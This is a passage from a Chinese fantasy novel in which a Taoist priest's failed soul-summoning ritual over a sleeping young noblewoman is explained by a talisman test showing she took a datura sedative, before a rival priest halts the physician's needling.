施令岐一直抱臂旁观,他远远打量了一眼崔妙微,确定了两件事,第一,崔妙微刚才没有立刻背咒语,他虽然依旧拿走了崔妙微的魂魄,但那是因为他留了后手,给崔妙微的那张符咒起了作用。 第二,五独招魂阵真的有问题,崔妙微明明失魂,反而没有失魂的症状。 玉枢真人都这么说了,骆初静也不好穷追猛打,她看着一旁一言不发的昌平公主,劝慰道:“阿娘别担心,玉枢真人行道多年,在洛阳有口皆碑,恐怕是有什么小差错,给他一些时间想想法子吧。” 昌平公主眉头紧皱,让人分辨不出情绪。 玉枢真人慢慢变得大汗淋漓,崔妙微昏倒以后,他吓了一跳,立刻便检查了崔妙微的瞳孔,并无五独之人的特征,再探呼吸和脉搏,都很平稳,种种症状都不像是失魂。 但晕倒了?也不像是装的啊? 玉枢真人心中慌乱,强作镇定地把法阵图纸拿出来看了又看。 室内安静一会,众人都默不作声地看着玉枢真人,玉枢真人额上的汗都要把手里的书滴湿了。 昌平公主似乎忍不住了,她摸了摸崔妙微的脸颊,张口要出声,一旁的骆初静却忽然想到了什么。 她若有所思道:“郡主体弱,近来生病,时常喝药,药中多有安神的成分,郡主今日又淋了雨,许是方才饮了药,这才沉睡了。” 崔妙微打小就是药罐子,还怕黑,骆初静知道她常吃安神的药来入睡。 玉枢真人闻言,赶紧便让手脚伶俐的小童捏开崔妙微的嘴,用一个小调羹取了唾液,自己则从袖中掏出一张百草符,顾不上肉痛,往调羹上一蘸。 百草符可用来探查药物的成分,若是崔妙微方才饮过药,只要唾液便可检验。 玉枢真人把百草符迎风一抖,黄色符纸沾了唾液的部分慢慢变成了紫色。 玉枢真人如蒙大赦,喜道:“不是阵法的原因!紫色便是曼陀罗!郡主这是饮了麻沸散,做法途中沉睡了,过几个时辰便能醒过来!” 昌平公主一愣,抚摸崔妙微脸颊的手立刻收了回来,起身呵道:“叫医女来!给本宫将她叫醒。” 昌平公主黑着脸这般怒喝,显然气得不轻,原本安静的院中更静了。 众人都围在软榻边,看着医女为崔妙微扎针,十指连心,寻常人就是饮了麻沸散,受了两针也得有些反应。 崔妙微的右手都被扎的五指青紫,却也一动不动,要不是还有呼吸,简直就像死了一般。 医女正准备换一只手扎,却突然被一把带着刀鞘的匕首按住了手腕,她不禁疑惑地回头,对上了一个青年的眼神。 施令岐用匕首将医女的手挑开,阻止了医女继续扎针,微笑道:“郡主想睡便让她睡吧,正巧,本道也有一个秘法,可以唤醒赵娘子。” “还请公主特许,将我的下人召进来。”